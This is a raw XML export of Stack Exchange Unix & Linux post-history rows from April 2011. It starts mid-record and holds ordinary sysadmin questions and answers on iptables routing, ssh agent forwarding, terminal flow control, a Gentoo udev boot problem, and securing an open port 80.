&quot;$1&quot;&#xD;&#xA;      echo &quot;$2&quot;&#xD;&#xA;      echo &quot;$3&quot;&#xD;&#xA;      echo &quot;$4&quot;&#xD;&#xA;&#xD;&#xA;output &#xD;&#xA;&#xD;&#xA;      -------- Either use 'indirect reference'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use an array&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use 'set'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;&#xD;&#xA;`set` works of anything  which follows it, to create $1, $2.. etc.. &#xD;&#xA;This will of course override the original values, so just be aware of that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29552" PostHistoryTypeId="2" PostId="12094" RevisionGUID="35a20d54-6fdb-4436-83c9-fc8a7ddd6e90" CreationDate="2011-04-27T04:10:30.257" UserId="6771" Text="What are various types of caching possible in file system and how their values can be changed using system calls or some other methods.I don't want to use commands or tools.File system is ext3. " />
  <row Id="29553" PostHistoryTypeId="1" PostId="12094" RevisionGUID="35a20d54-6fdb-4436-83c9-fc8a7ddd6e90" CreationDate="2011-04-27T04:10:30.257" UserId="6771" Text="tuning file system" />
  <row Id="29554" PostHistoryTypeId="3" PostId="12094" RevisionGUID="35a20d54-6fdb-4436-83c9-fc8a7ddd6e90" CreationDate="2011-04-27T04:10:30.257" UserId="6771" Text="élinuxà" />
  <row Id="29555" PostHistoryTypeId="2" PostId="12095" RevisionGUID="af4d8d62-ec29-462e-b960-bdb4302ea520" CreationDate="2011-04-27T05:11:07.930" UserId="5884" Text="Here is the link:&#xD;&#xA;http://xercestech.com/full-system-encryption-for-linux.geek&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29556" PostHistoryTypeId="25" PostId="12075" RevisionGUID="9b7395f4-9a66-46d2-9db7-be3092fdb9f1" CreationDate="2011-04-27T06:09:14.747" Comment="http://twitter.com/#!/StackUnix/status/63122514313879552" />
  <row Id="29557" PostHistoryTypeId="2" PostId="12096" RevisionGUID="6ace9022-73a7-4d7b-ac22-062c349f092f" CreationDate="2011-04-27T06:41:10.167" UserId="5861" Text="Is there any API for parsing own log files. And Is it better to store logs in database by using rsyslogd templates. " />
  <row Id="29558" PostHistoryTypeId="1" PostId="12096" RevisionGUID="6ace9022-73a7-4d7b-ac22-062c349f092f" CreationDate="2011-04-27T06:41:10.167" UserId="5861" Text="Parsing log files" />
  <row Id="29559" PostHistoryTypeId="3" PostId="12096" RevisionGUID="6ace9022-73a7-4d7b-ac22-062c349f092f" CreationDate="2011-04-27T06:41:10.167" UserId="5861" Text="élinuxàélogsàésyslogà" />
  <row Id="29564" PostHistoryTypeId="6" PostId="12065" RevisionGUID="4efc2b59-38d4-4057-9d0f-82498ebb4016" CreationDate="2011-04-27T07:17:14.437" UserId="6968" Comment="Added the freebsd 8.2 tag" Text="éinstallàébootàéfreebsdàébootöloaderàéfreebsd82à" />
  <row Id="29565" PostHistoryTypeId="2" PostId="12099" RevisionGUID="a2863708-f540-4254-a81c-8b8649272a40" CreationDate="2011-04-27T07:20:12.127" UserId="3629" Text="I don't know if Linux supports Cisco's concept of &quot;private VLANs&quot; per se, but what private VLANs essentially are is a link-layer firewall controlling which switch ports can talk to which other switch ports.  So if you've got a Linux box with several Ethernet devices and are bridging between them (e.g. with the `brctl` tool), I think the tool you want is called `ebtables`.  If you're familiar with `iptables`, it &#xD;&#xA;shouldn't be too hard to pick up from the man page.&#xD;&#xA;&#xD;&#xA;Note, though, that [describing all of the private VLAN concepts at once using `ebtables` might be complicated][1].  And if you want to share PVLAN groupings with a Cisco switch (assuming that's possible), I'm guessing this isn't the way to go about it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://lists.linux-foundation.org/pipermail/bridge/2009-June/006542.html" />
  <row Id="29566" PostHistoryTypeId="6" PostId="12094" RevisionGUID="f326f875-40d9-4310-b9e3-cc139bac7f44" CreationDate="2011-04-27T07:21:12.910" UserId="885" Comment="edited tags" Text="élinuxàéfilesystemsàécacheàéext3à" />
  <row Id="29567" PostHistoryTypeId="2" PostId="12100" RevisionGUID="9b8904c2-4e75-4c54-8992-8d816673a7b4" CreationDate="2011-04-27T07:35:59.770" UserId="3629" Text="If you're only looking for one possibility and want to stay mostly in the shell rather than using awk or perl, you could do something like:&#xD;&#xA;&#xD;&#xA;    tail -F /path/to/serverLog | grep 'server is up' | while read ; do my_command ; done&#xD;&#xA;&#xD;&#xA;...which will run `my_command` every time &quot;server is up&quot; appears in the log file.  For multiple possibilities, you could maybe drop the `grep` and instead use a `case` within the `while`.&#xD;&#xA;&#xD;&#xA;The capital `-F` tells `tail` to watch for the log file to be rotated; i.e. if the current file gets renamed and another file with the same name takes its place, `tail` will switch over to the new file." />
  <row Id="29568" PostHistoryTypeId="2" PostId="12101" RevisionGUID="d41637c8-8f53-4164-8799-9151c95ad618" CreationDate="2011-04-27T08:57:44.320" UserId="6980" Text="I want to ssh from A to B, using a particular private key that I have in A. Then I want to ssh from B to C using the same credentials that I used to ssh into B.&#xD;&#xA;&#xD;&#xA;Is it possible to &quot;pass&quot; the credentials from a ssh session to another ssh session started inside the first session?&#xD;&#xA;" />
  <row Id="29569" PostHistoryTypeId="1" PostId="12101" RevisionGUID="d41637c8-8f53-4164-8799-9151c95ad618" CreationDate="2011-04-27T08:57:44.320" UserId="6980" Text="Pass my credentials from a ssh session to another ssh session" />
  <row Id="29570" PostHistoryTypeId="3" PostId="12101" RevisionGUID="d41637c8-8f53-4164-8799-9151c95ad618" CreationDate="2011-04-27T08:57:44.320" UserId="6980" Text="ésshà" />
  <row Id="29571" PostHistoryTypeId="2" PostId="12102" RevisionGUID="55d469c3-43fc-45e0-85a8-26e5951dbd10" CreationDate="2011-04-27T08:59:10.590" UserId="1660" Text="Well, the &quot;*easiest*&quot; way should be to instruct the single programs to use a specific interface (or the ip of the interface. For example:&#xD;&#xA;&#xD;&#xA;    ping -I eth1 8.8.8.8&#xD;&#xA;&#xD;&#xA;instructs ping to use eth1 as a source interface, while&#xD;&#xA;&#xD;&#xA;    wget --bind-address 10.0.0.1 http://www.google.it/&#xD;&#xA;&#xD;&#xA;instructs wget to *go throught* the interface which has `10.0.0.1` as an IP address.&#xD;&#xA;&#xD;&#xA;Honestly I don't know if it's possible with *all* the programs you need, but it's a start to trim down the rules you need to write for `iptables` and the `iproute` programs.&#xD;&#xA;&#xD;&#xA;As a start you should read [this tutorial][1] on *multiple internet connections*. A good read is also one of the **thousands** of iptables tutorials, expecially on `outbound filtering`, `process`/`pid filtering` and `port filtering`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux-ip.net/html/adv-multi-internet.html" />
  <row Id="29572" PostHistoryTypeId="2" PostId="12103" RevisionGUID="2b973701-ef04-4ff2-8deb-9131e3644f3a" CreationDate="2011-04-27T09:01:01.820" UserId="5289" Text="If I lock the screen using gnome-screensaver (gnome-screensaver-command --lock) and enter the password, a big dot is shown instead of each character. Is it possible to change this behaviour such that no place-holders are shown if I type in my password (like normally in the shell)?" />
  <row Id="29573" PostHistoryTypeId="1" PostId="12103" RevisionGUID="2b973701-ef04-4ff2-8deb-9131e3644f3a" CreationDate="2011-04-27T09:01:01.820" UserId="5289" Text="gnome-screensaver-command --lock, hide password" />
  <row Id="29574" PostHistoryTypeId="3" PostId="12103" RevisionGUID="2b973701-ef04-4ff2-8deb-9131e3644f3a" CreationDate="2011-04-27T09:01:01.820" UserId="5289" Text="égnomeàépasswordà" />
  <row Id="29575" PostHistoryTypeId="2" PostId="12104" RevisionGUID="96e7cf5d-d9be-4d3b-9fa4-16d9f3bfad7b" CreationDate="2011-04-27T09:01:40.570" UserId="252" Text="Not that I'm aware of.&#xD;&#xA;&#xD;&#xA;You could do it differently though by using port forwards.&#xD;&#xA;&#xD;&#xA;    hostA&gt; ssh hostB -L 8022:hostC:22&#xD;&#xA;    hostA&gt; ssh localhost -p 8022" />
  <row Id="29576" PostHistoryTypeId="2" PostId="12105" RevisionGUID="05ddb8d7-aa32-451a-bc07-342e9ccc4b3f" CreationDate="2011-04-27T09:01:56.187" UserId="1925" Text="Yes.&#xD;&#xA;&#xD;&#xA;What you are looking for is known as [ssh-agent forwarding][1]. Once you learn to use `ssh-agent` to load up your unlocked keys and make them available to the `ssh-client`, it is possible for the clients to pass this data down the chain of connections so that future ssh clients can talk to the original agent.&#xD;&#xA;&#xD;&#xA;Among other things, you will need to setup `ForwardAgent yes` in your ssh config files on the various machines that are allowed to do this. You should be aware that this introduces several new layers of security issues. You are playing with fire. Don't say we didn't warn you!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unixwiz.net/techtips/ssh-agent-forwarding.html" />
  <row Id="29577" PostHistoryTypeId="25" PostId="12101" RevisionGUID="40c133ea-c5f1-480f-9e10-45258efc8bfb" CreationDate="2011-04-27T09:09:14.723" Comment="http://twitter.com/#!/StackUnix/status/63167813082292224" />
  <row Id="29578" PostHistoryTypeId="2" PostId="12106" RevisionGUID="6ffb67dd-030a-4e65-a1f8-52011391ffa8" CreationDate="2011-04-27T09:23:11.790" UserId="6981" Text="Hello,&#xD;&#xA;&#xD;&#xA;I've also installed FreeBSD 8.2 on my Intel SS4200. I installed 8.1 and upgraded to 8.2 via CLI.&#xD;&#xA;&#xD;&#xA;Have a look at these 2 pages to get your SS4200 up and running with FreeBSD 8.1:&#xD;&#xA;&#xD;&#xA;http://ss4200.pbworks.com/w/page/5122750/FreeNAS-0_70 and http://ss4200.pbworks.com/w/page/19270391/FreeBSD.&#xD;&#xA;&#xD;&#xA;More specifically, you need to edit /boot/loader.conf (for serial console) and /boot/device.hints." />
  <row Id="29579" PostHistoryTypeId="5" PostId="12094" RevisionGUID="3e1377fc-27e3-4c0e-9033-1aabb5da5f5a" CreationDate="2011-04-27T09:54:08.733" UserId="1925" Comment="Fixed english" Text="What various types of caching are possible in the ext3 file system and how can their values be changed using system calls or other methods? I don't want to use commands or tools." />
  <row Id="29580" PostHistoryTypeId="24" PostId="12094" RevisionGUID="3e1377fc-27e3-4c0e-9033-1aabb5da5f5a" CreationDate="2011-04-27T09:54:08.733" Comment="Proposed by 1925 approved by 885 edit id of 334" />
  <row Id="29581" PostHistoryTypeId="5" PostId="12085" RevisionGUID="74857797-3404-4b14-b55b-f0f995a03bdf" CreationDate="2011-04-27T10:22:16.223" UserId="880" Comment="added 177 characters in body" Text="I have rather an odd issue. I have a server with two network interfaces `eth0` and `eth1`. Each are connected to a different network. Each network has a internet gateway. The server has various *outbound* connections: http (some scripts on the server scrape websites), nfs client, samba client, dns client and an email fetcher to name but a few.&#xD;&#xA;&#xD;&#xA;For reasons I won't go into, I need to split these outbound clients up so outbound http, nfs, samba and dns traffic is only requested over `eth0` while everything else goes off through `eth1`.&#xD;&#xA;&#xD;&#xA;I've read around a few Google searches and it looks like `iptables` is what I'll need but I really haven't got a clue. I'm only used to managing inbound firewall rules through `ufw`.&#xD;&#xA;&#xD;&#xA;Could somebody start me off with a few example rules and tell me how to get the system to adopt these rules on boot? Ideally without locking me out of my SSH connection (I *can* get physical access, but I'd rather not).&#xD;&#xA;&#xD;&#xA;**Edit** I can split the clients over two users if it's possible to limit all outbound traffic from an account to one interface. on paper that seems like it might be easier." />
  <row Id="29583" PostHistoryTypeId="4" PostId="12094" RevisionGUID="bcb4f517-1d97-45ed-9f2e-8f10d2e6fdce" CreationDate="2011-04-27T11:21:21.690" UserId="2511" Comment="edited title" Text="What options are there for tuning Linux file system caching?" />
  <row Id="29584" PostHistoryTypeId="25" PostId="12103" RevisionGUID="5a2b31aa-6bbe-43f9-b1a0-9a4879b56621" CreationDate="2011-04-27T12:09:14.627" Comment="http://twitter.com/#!/StackUnix/status/63213110323974144" />
  <row Id="29585" PostHistoryTypeId="2" PostId="12107" RevisionGUID="4e8b073f-6229-4b10-b0b0-0d44a7d9aa51" CreationDate="2011-04-27T12:19:28.247" UserId="4319" Text="It's a situation that has happened quite often to me: after I press (with a different intention) &lt;kbd&gt;Ctrl-S&lt;/kbd&gt; in a terminal, the interaction (input or output) with it is frozen. It's probably a kind of &quot;scroll lock&quot; or whatever...&#xD;&#xA;&#xD;&#xA;How do I unfreeze the terminal after this?&#xD;&#xA;&#xD;&#xA;(This time, I have been working with `apt-shell` inside a `bash` inside `urxvt`--not sure which of them is responsible for the special handling of &lt;kbd&gt;Ctrl-S&lt;/kbd&gt;: I was searching the history of commands backwards with &lt;kbd&gt;C-r&lt;/kbd&gt;, as usual for readline, but then I wanted to go &quot;back&quot; forwards through the history with the usual--at least in Emacs--&lt;kbd&gt;C-s&lt;/kbd&gt;, but that caused the terminal to freeze. Well, scrolling/paging to view past things still works in the terminal, but no interaction with the processes run there.)" />
  <row Id="29586" PostHistoryTypeId="1" PostId="12107" RevisionGUID="4e8b073f-6229-4b10-b0b0-0d44a7d9aa51" CreationDate="2011-04-27T12:19:28.247" UserId="4319" Text="How to unfreeze after accidentally pressing Ctrl-S in a terminal?" />
  <row Id="29587" PostHistoryTypeId="3" PostId="12107" RevisionGUID="4e8b073f-6229-4b10-b0b0-0d44a7d9aa51" CreationDate="2011-04-27T12:19:28.247" UserId="4319" Text="éterminalàécommandöhistoryàéreadlineàérxvtàéscrollingà" />
  <row Id="29588" PostHistoryTypeId="2" PostId="12108" RevisionGUID="978c1a42-f260-456b-afa5-32298d829363" CreationDate="2011-04-27T12:29:51.027" UserId="2978" Text="&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;To disable this altogether, stick `stty -ixon` in a startup script. To allow any key to get things flowing again, use `stty ixany`.&#xD;&#xA;&#xD;&#xA;ps: It's neither the terminal nor the shell that does this, but the OS's terminal driver." />
  <row Id="29589" PostHistoryTypeId="2" PostId="12109" RevisionGUID="28bbe0c0-6010-4b18-b43c-0380acb347f2" CreationDate="2011-04-27T12:31:23.713" UserId="2180" Text="I would setup a separate routing table and a policy to route marked packets using that table and have iptables/netfilter mark certain packets.&#xD;&#xA;&#xD;&#xA;Create a table:&#xD;&#xA;`echo 1 known &gt; /etc/iproute2/rt_tables`&#xD;&#xA;&#xD;&#xA;Create a routing rule:&#xD;&#xA;`ip rule add from all fwmark 1 table known`&#xD;&#xA;&#xD;&#xA;We created a table called &quot;known&quot; and created a routing rule that says any packet with a mark equal to 1 gets routed according to the &quot;known&quot; table. I only called it known because it's for the list of known protocols - you can name it whatever you want. Now we setup the known table to route the proper way.&#xD;&#xA;&#xD;&#xA;    ip route add default dev eth0 table known&#xD;&#xA;&#xD;&#xA;Create iptables rules:&#xD;&#xA;&#xD;&#xA;    iptables -t mangle -I PREROUTING -p tcp --dport 111 -j MARK --set-mark 1&#xD;&#xA;    iptables -t mangle -I PREROUTING -p tcp --dport 2049 -j MARK --set-mark 1&#xD;&#xA;&#xD;&#xA;The example marks packets on the NFS ports (111, 2049) with a 1. We are adding this rule to the 'mangle' iptable. This is different from the routing tables and is not changeable; the mangle table is specifically for altering packets in any way other than NAT.&#xD;&#xA;&#xD;&#xA;Now, to route everything else through the other interface, we add a route to the standard routing table.&#xD;&#xA;&#xD;&#xA;    ip route add default dev eth1&#xD;&#xA;&#xD;&#xA;To really understand this, read sections 4 and 11 of the [LARTC howto][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lartc.org/howto/" />
  <row Id="29590" PostHistoryTypeId="5" PostId="12107" RevisionGUID="d8fdd48b-ed5f-4444-92e7-5727a59b8456" CreationDate="2011-04-27T12:39:05.277" UserId="4319" Comment="(minor) Put in links that mention C-s for going forwards through the history." Text="It's a situation that has happened quite often to me: after I press (with a different intention) &lt;kbd&gt;Ctrl-S&lt;/kbd&gt; in a terminal, the interaction (input or output) with it is frozen. It's probably a kind of &quot;scroll lock&quot; or whatever...&#xD;&#xA;&#xD;&#xA;How do I unfreeze the terminal after this?&#xD;&#xA;&#xD;&#xA;(This time, I have been working with `apt-shell` inside a `bash` inside `urxvt`--not sure which of them is responsible for the special handling of &lt;kbd&gt;Ctrl-S&lt;/kbd&gt;: I was searching the history of commands backwards with &lt;kbd&gt;C-r&lt;/kbd&gt;, as usual for readline, but then I wanted to go &quot;back&quot; forwards through the history with the usual--at least in Emacs--&lt;kbd&gt;C-s&lt;/kbd&gt; ([1](http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history/2120#2120), [2](http://unix.stackexchange.com/questions/4079/put-history-command-onto-command-line-without-executing-it/4086#4086), [3](http://unix.stackexchange.com/questions/7061/how-to-search-the-whole-of-bash-history-without-needing-to-go-forwards-and-backwa/7064#7064)), but that caused the terminal to freeze. Well, scrolling/paging to view past things still works in the terminal, but no interaction with the processes run there.)" />
  <row Id="29591" PostHistoryTypeId="2" PostId="12110" RevisionGUID="aac083fd-972d-467a-822d-685879868019" CreationDate="2011-04-27T12:43:24.753" UserId="3384" Text="Hello, i would like to get my computer usage statistics (what programs i ran, for how long and etc. More is better). I used to use wacoopa but i'm not felling to trow statistics to web. I've tried hamster but i always forgot/haven't set tracking time. Any suggestions? " />
  <row Id="29592" PostHistoryTypeId="1" PostId="12110" RevisionGUID="aac083fd-972d-467a-822d-685879868019" CreationDate="2011-04-27T12:43:24.753" UserId="3384" Text="computer usage analyzer" />
  <row Id="29593" PostHistoryTypeId="3" PostId="12110" RevisionGUID="aac083fd-972d-467a-822d-685879868019" CreationDate="2011-04-27T12:43:24.753" UserId="3384" Text="élinuxàéutilitiesàétimeà" />
  <row Id="29594" PostHistoryTypeId="2" PostId="12111" RevisionGUID="89b7da68-a094-4556-af5d-edbf2ff4e002" CreationDate="2011-04-27T12:45:46.030" UserId="6851" Text="My old gentoo laptop seem to have an issue with udev probably due to me updating software using `emerge`, upgrading udev+kernel, getting some messages &quot;do these things after upgrading udev/kernel&quot; and thinking &quot;I'll look into the screen output, read those messages and take care of those things later before ever rebooting the system&quot;.  Unfortunately, being a bit in a hurry, I did, of course, forget to review those messages, shut down the machine, moved it physically to it's now location at home and started up, only to be greeted with a failure to find `/dev/hda3`.&#xD;&#xA;&#xD;&#xA;Now I have managed to work around that (described in length below) by manually creating `/dev/hda3` and then making `init` continue the system boot but I need some advice on how to proceed on fixing this once and for all (so I don't have to repeat the procedure belown on every boot).&#xD;&#xA;&#xD;&#xA;(If anyone can point to somewhere Gentoo machine where I can find all post-install messages for the packages I have installed, then I can find those instructions related to udev and the kernel which I should have read.)&#xD;&#xA;&#xD;&#xA;Relevant software versions:&#xD;&#xA;&#xD;&#xA;Gentoo-hardened-kernel 2.6.36-r6 (preferable) and 2.6.28-r9 (used for 21 months before shutdown). The cumbersome manual startup process described below has been verified to work for both kernel versions.&#xD;&#xA;The udev package is udev-151-r4.&#xD;&#xA;&#xD;&#xA;When booting up everything seems to be fine (the machine start's the kernel, it mounts /proc, /sys and /dev, starts udevd and populates /dev based on uevents, processes the uevents, mounts /dev/pts) until it comes to the step of 'Checking root filesystem'.&#xD;&#xA;&#xD;&#xA;There it emits &#xD;&#xA;&#xD;&#xA;`Failed to open the device '/dev/hda3': No such file or directory`&#xD;&#xA;&#xD;&#xA;Then it asks me for root password (or Ctrl-D to continue).&#xD;&#xA;&#xD;&#xA;I enter that, and in the shell, `mount` tells me that `rootfs` is mounted on and that `/dev/root` also is mounted on `/`.  Also, `mount` complains that `/etc/mtab` is not writable (e.g read/only filesystem).  All of this makes sense to me, given that the bootup is not completed.&#xD;&#xA;&#xD;&#xA;Doing `ls /dev` reveals that there are no `hda`, `hda1`, `hda2` or `hda3` devices, which normally should be there (and which I would expect udev to create).  Also worth mentioning, `/dev` contains no `sda`, `sda1`, `sda2` or `sda3` devices either, so we are not seeing the issue of an updated udev or kernel changing it's convention of what to call different disk devices.  Neither is there any `/dev/disk` directory where disk devices could &quot;hide&quot;.&#xD;&#xA;&#xD;&#xA;So my next, potentially dirty, step is to manually create `hda`, `hda1`, `hda2` and `hda3` under `/dev` (I had a sneak peek at one of my other gentoo servers to figure out major and minor numbers as well as appropriate permissions and group membership):&#xD;&#xA;&#xD;&#xA;`mknod /dev/hda b 3 0  &#xD;&#xA;mknod /dev/hda1 b 3 1  &#xD;&#xA;mknod /dev/hda2 b 3 2  &#xD;&#xA;mknod /dev/hda3 b 3 3  &#xD;&#xA;chmod 660 /dev/hda*  &#xD;&#xA;chgrp disk /dev/hda*`&#xD;&#xA;&#xD;&#xA;Unfortunately, doing Ctrl-D or writing `exit` here will not continue the interrupted boot sequence, but instead it will initiate a reboot (which brings the machine up to the state of `/dev/hda` not found), so *that* path to solving this issue won't help, unfortunately.&#xD;&#xA;&#xD;&#xA;Another workaround I tried (which failed) where to press 'I' (as well as trying 'i') as soon as `init` started and began to run the various init scripts (like mounting /proc, /sys and so on) but I never manage to enter interactive boot mode before the boot sequence reaches the (failed) attempt to check /dev/hda3.&#xD;&#xA;&#xD;&#xA;Instead I continue with using my `/dev/hda3` device to mount my OS filesystem:  &#xD;&#xA;`mount -o remount -o rw /dev/hda3 /`  &#xD;&#xA;&#xD;&#xA;So, now I have write access to the file system of my machine which gives me *some* options regarding troubleshooting this situation: amending configuration files, starting various init-scripts and subsystems etc.&#xD;&#xA;&#xD;&#xA;One thing that does *not* work is to change run-level though.  The reason is that `init 3` fails with the error message `init: /dev/initctl: No such file or directory`.  Again I do a sneak peek on my other Gentoo server and finds out that `/dev/initctl` is a pipe with permissions `600` and belonging to `root:root`, so I recreate that:&#xD;&#xA;&#xD;&#xA;`mknod /dev/initctl p&#xD;&#xA;chmod 600 /dev/initctl`&#xD;&#xA;&#xD;&#xA;Now `init 3` fails, but a little differently; it hangs for a while and then gives up with the message `init: timeout opening/writing control channel /dev/initctl`.  This makes sense as the original `init` process (with process id 1) does not have this freshly created `/dev/initctl` opened for reading.&#xD;&#xA;&#xD;&#xA;Now, reading the `init` man page I realize that sending `SIGUSR` will make `init` close and reopen `/dev/initctl`. *Exactly* what I need, so I execute the command `kill -l` to get a list of all signals and their number (in which I see that `SIGUSR1` has the number 10) then I issue the command  &#xD;&#xA;`kill -10 1`  &#xD;&#xA;to make `init` reopen `/dev/initctl`, then I retry entering run level 3:  &#xD;&#xA;`init 3`  &#xD;&#xA;&#xD;&#xA;Now `init` tries to enter runlevel 3 and executes a large number of scripts.  Unfortunately, all those scripts fails with `ERROR: cannot run syslog-ng until sysinit completes`.  So, I reboot the system (which now actually works as expected as I've made `init` listen to `/dev/initctl`: I logon as `root` and then issues `reboot`), repeats the above steps (except for remounting `/dev/hda3` as writable) up to and including the point of sending `SIGUSR1` to `init`.  Now I am trying to make `init` resume the boot sequence but in a more gentle way, by making it reread the `/etc/inittab` file:&#xD;&#xA;&#xD;&#xA;`init q`&#xD;&#xA;&#xD;&#xA;*Nothing* seem to have happened.  So, I'll investigate `/etc/inittab` where I find an entry for a runlevel which seem to called `sysinit`.  I take the risk and rerun that:&#xD;&#xA;&#xD;&#xA;`init sysinit`&#xD;&#xA;&#xD;&#xA;This time `init` complains with a usage message.  Reading `/etc/inittab` again, I see that the `sysinit` entry makes a call to `/sbin/rc` with the argument `sysinit`.  So, I decide to try *that*:&#xD;&#xA;&#xD;&#xA;`/sbin/rc sysinit`&#xD;&#xA;&#xD;&#xA;*Now* the system retries to boot up a number of services *and succeeds!*  Not only that, when re-running the init scripts for mounting `/proc`, `/sys` and `/dev` there is a check made to see if they already are mounted (a testament of how valuable it is to do sanity checks and error checks in code and act accordingly when running into exceptional circumstances). Happy with this, I decide to also run the commands for the `/etc/inittab` entry `bootwait`, as that one as well is missing a runlevel letter or digit.&#xD;&#xA;&#xD;&#xA;`/sbin/rc boot`&#xD;&#xA;&#xD;&#xA;Again, a number of init scripts are started, mainly for networking.  No unexpected errors are reported, so I'm happy to retry getting to runlevel 3:&#xD;&#xA;&#xD;&#xA;`init 3`&#xD;&#xA;&#xD;&#xA;Once the initscripts have finished, the machine is up and I can logon as root (and, in theory, fix the root cause of this mess)!&#xD;&#xA;" />
  <row Id="29595" PostHistoryTypeId="1" PostId="12111" RevisionGUID="89b7da68-a094-4556-af5d-edbf2ff4e002" CreationDate="2011-04-27T12:45:46.030" UserId="6851" Text="How to troubleshoot udev not creating /dev/hda3 on gentoo boot?" />
  <row Id="29596" PostHistoryTypeId="3" PostId="12111" RevisionGUID="89b7da68-a094-4556-af5d-edbf2ff4e002" CreationDate="2011-04-27T12:45:46.030" UserId="6851" Text="ékernelàéhardödiskàégentooàéudevà" />
  <row Id="29597" PostHistoryTypeId="2" PostId="12112" RevisionGUID="25905e6a-7717-4816-9cd3-c29158c81236" CreationDate="2011-04-27T12:53:33.510" UserId="2333" Text="Are you looking for a command line approach to system configuration, or package management?&#xD;&#xA;&#xD;&#xA;If you're looking for package management, openSUSE's command line interface is primarily zypper, not yast." />
  <row Id="29599" PostHistoryTypeId="2" PostId="12113" RevisionGUID="3ce1db36-609c-4944-a772-04e193ed21bd" CreationDate="2011-04-27T13:03:58.160" UserId="1925" Text="You might look into [GnoTime][1].&#xD;&#xA;&#xD;&#xA;Tracking processes that run on the computer is easy and there are lots of profiles that will tell you all about what is running on your system. The problem is it sounds like you want to track your attention to these programs, and this is less intuitive. For this reason you probably want to look into time tracking programs more than you do program tracking.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gttr.sourceforge.net/" />
  <row Id="29600" PostHistoryTypeId="2" PostId="12114" RevisionGUID="eae13106-a0c4-4d0f-a616-37ed79c39419" CreationDate="2011-04-27T13:06:48.923" UserId="4430" Text="I have a standard installation of Ubuntu 10.04, and have installed the LAMP stack so I can do some web development locally.  On my router I have opened port 80 so I can develop with external services like paypal and facebook, as they need to see the website for them to work.&#xD;&#xA;&#xD;&#xA;How unsecure has my development machine become by opening port 80?  Can I secure it further, yet leave port 80 open?&#xD;&#xA;&#xD;&#xA;I am asking this quesiton because on my apache error.log file, I noticed an external ip address trying to access webdav, which I do not have setup.  I have yet to check the access.log file." />
  <row Id="29601" PostHistoryTypeId="1" PostId="12114" RevisionGUID="eae13106-a0c4-4d0f-a616-37ed79c39419" CreationDate="2011-04-27T13:06:48.923" UserId="4430" Text="Opening port 80 but remain secure" />
  <row Id="29602" PostHistoryTypeId="3" PostId="12114" RevisionGUID="eae13106-a0c4-4d0f-a616-37ed79c39419" CreationDate="2011-04-27T13:06:48.923" UserId="4430" Text="ésecurityàéapacheàéphpàéportsàérouterà" />
  <row Id="29603" PostHistoryTypeId="5" PostId="12110" RevisionGUID="91314cbe-fe5d-4b74-bf2f-49dfb0384c80" CreationDate="2011-04-27T13:09:17.023" UserId="1925" Comment="Fixed some of the bad English, added a more useful title, linked program (was spelled wrong)" Text="I would like to get my computer usage statistics (what programs I ran, for how long and etc. More is better).&#xD;&#xA;&#xD;&#xA;I used to use [wakoopa][1] but I'm not willing to throw statistics out to the web. I've tried hamster but I always forgot/haven't set tracking time. Any suggestions? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wakoopa.com" />
  <row Id="29604" PostHistoryTypeId="4" PostId="12110" RevisionGUID="91314cbe-fe5d-4b74-bf2f-49dfb0384c80" CreationDate="2011-04-27T13:09:17.023" UserId="1925" Comment="Fixed some of the bad English, added a more useful title, linked program (was spelled wrong)" Text="Program to track  and analyze usage" />
  <row Id="29605" PostHistoryTypeId="24" PostId="12110" RevisionGUID="91314cbe-fe5d-4b74-bf2f-49dfb0384c80" CreationDate="2011-04-27T13:09:17.023" Comment="Proposed by 1925 approved by 885 edit id of 335" />
  <row Id="29606" PostHistoryTypeId="2" PostId="12115" RevisionGUID="f11780dc-f0d5-4c63-907e-9e111fb00213" CreationDate="2011-04-27T13:12:36.560" UserId="1925" Text="Of course any services you have open will increase your vulnerable attack surface. What runs *behind* those services will determine how secure and insecure you become. If you write insecure PHP scripts and host them in your newly accessible Apache site, the world will be able to (and will!) exploit them. You should seriously consider what you are making available and how secure the scripts that run your site are.&#xD;&#xA;&#xD;&#xA;If this is just for development, you might consider blocking access to port 80 except from certain IPs that you know need to connect back to you. How to do this is frequently [answered over on ServerFault][1].&#xD;&#xA;&#xD;&#xA;The fact that the port got scanned for a service you don't run is not surprising. If they had found webdav, the next step would be to scan it for known vulnerabilities that you haven't patched. The same will happen with any software you host. If you put up an old version of some CMS and don't patch it, it will get scanned and exploited.&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/263708/ubuntu-on-ec2-how-do-i-ip-restrict-port-22-to-a-specific-ip-address/263711#263711" />
  <row Id="29607" PostHistoryTypeId="2" PostId="12116" RevisionGUID="2f73172f-464a-420e-b52c-8dd58588c0b0" CreationDate="2011-04-27T13:12:52.540" UserId="3645" Text="CVS doesn't list **unversioned files** in the status output by default, so how can I get a list of all unversioned files? This is the best I've come up with so far:&#xD;&#xA;&#xD;&#xA;    while IFS= read -r -d '' -u 9&#xD;&#xA;    do&#xD;&#xA;        2&gt;/dev/null cvs status &quot;$REPLY&quot; | &gt;/dev/null grep Unknown &amp;&amp; echo &quot;$REPLY&quot;&#xD;&#xA;    done 9&lt; &lt;( find . \( -type d -name CVS -prune -false \) -o -type f -print0 )&#xD;&#xA;&#xD;&#xA;Surely there must be a simpler way?" />
  <row Id="29608" PostHistoryTypeId="1" PostId="12116" RevisionGUID="2f73172f-464a-420e-b52c-8dd58588c0b0" CreationDate="2011-04-27T13:12:52.540" UserId="3645" Text="Find unversioned files in CVS checkout" />
